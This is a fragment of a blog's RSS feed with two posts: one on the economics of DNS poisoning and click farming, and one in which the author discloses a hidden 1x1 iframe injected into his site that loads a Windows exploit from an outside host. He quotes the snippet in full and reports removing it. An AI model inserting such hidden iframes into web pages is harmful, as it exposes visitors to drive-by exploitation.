		<description><![CDATA[An analysis of the recent DNS poisoning attacks [ via meuon ] finds that the attackers&#8217; motivation was gaming a pay-per-click search engine. A couple of days ago, a coworker asked me if I&#8217;ve been able to apply any of my economics training in my current profession. Well, for one thing, I could had told [...]]]></description>
			<content:encoded><![CDATA[<p>An analysis of the <a href="http://isc.sans.org/presentations/dnspoisoning.php">recent DNS poisoning attacks</a> [ via <a href="http://www.flutterby.com/">meuon</a> ] finds that <a href="http://www.lurhq.com/ppc-hijack.html">the attackers&#8217; motivation was gaming a pay-per-click search engine</a>.</p>
<p>A couple of days ago, a coworker asked me if I&#8217;ve been able to apply any of my economics training in my current profession.</p>
<p>Well, for one thing, I could had told you that pay-per-click creates <em>perverse incentives</em> for people to behave dishonestly in order to generate clicks.</p>
<p>And the pay-per-click people have no incentive to prevent click-farming:</p>
<blockquote cite="http://www.lurhq.com/ppc-hijack.html">
<p>FindWhat [the pay-per-click firm] has a policy prohibiting certain activities of this type [click-farming], and will likely terminate any affiliate account reported to them for abuse. However, terminating the account only means that FindWhat benefits from the hijacker&#8217;s activity without having to pay the hijacking affiliate. It&#8217;s a win-win situation for them.</p>
</blockquote>
<p>Meuon declares: <q>The real meat of the story is that the internet is not safe or trustworthy.</q> As long as you pay for traffic, and deflect the cost of creating the traffic onto other users, yes.</p>
<p>If the companies hiring pay-for-click outfits wrote contracts specifying that they don&#8217;t pay for traffic generated by affiliates gaming the system, you remove the incentive for pay-for-click firms to look the other way while their system&#8217;s gamed.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2005%2F04%2F06%2F04179%2F&#038;seed_title=DNS+Poisoning%2C+Click+Farming%2C+and+Poorly+Specified+Contracts/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Compromised</title>
		<link>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2004%2F12%2F07%2F04098%2F&#038;seed_title=Compromised</link>
		<comments>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2004%2F12%2F07%2F04098%2F&#038;seed_title=Compromised#comments</comments>
		<pubDate>Tue, 07 Dec 2004 08:00:00 +0000</pubDate>
		<dc:creator>Bill Humphries</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[whump]]></category>

		<guid isPermaLink="false">http://www.whump.com/moreLikeThis/2004/12/07/04098/</guid>
		<description><![CDATA[Tonight, when running a validation check, I discovered the following snippet inserted at the end of the page. &#60;div style="visibility: hidden; position: absolute; left: 1; top: 1"&#62;&#60;iframe src="http://re6.net/?s=1" frameborder=0 vspace=0 hspace=0 width=1 height=1 marginwidth=0 marginheight=0 scrolling=no&#62;&#60;/iframe&#62;&#60;/div&#62;&#60;/body&#62; The hidden iFrame loads a Windows exploit. I have it removed, for the time being. I don&#8217;t know how [...]]]></description>
			<content:encoded><![CDATA[<p>Tonight, when running a validation check,  I discovered the following snippet inserted at the end of the page.</p>
<p><code>&lt;div style="visibility: hidden; position: absolute; left: 1; top: 1"&gt;&lt;iframe src="http://re6.net/?s=1" frameborder=0 vspace=0 hspace=0 width=1 height=1 marginwidth=0 marginheight=0 scrolling=no&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/body&gt;</code></p>
<p>The hidden iFrame loads a Windows exploit.</p>
<p>I have it removed, for the time being.</p>
<p>I don&#8217;t know how long it&#8217;s been there, but the source may be an exploit of an old version of <a href="http://smarty.php.net/">Smarty</a> I was using. I&#8217;ve upgraded to the current stable version of Smarty.</p>
<p>Maybe I&#8217;ll switch to Savant for templating.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whump.com/feeder/?FeederAction=clicked&#038;feed=Articles+%28RSS2%29&#038;seed=http%3A%2F%2Fwww.whump.com%2FmoreLikeThis%2F2004%2F12%2F07%2F04098%2F&#038;seed_title=Compromised/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

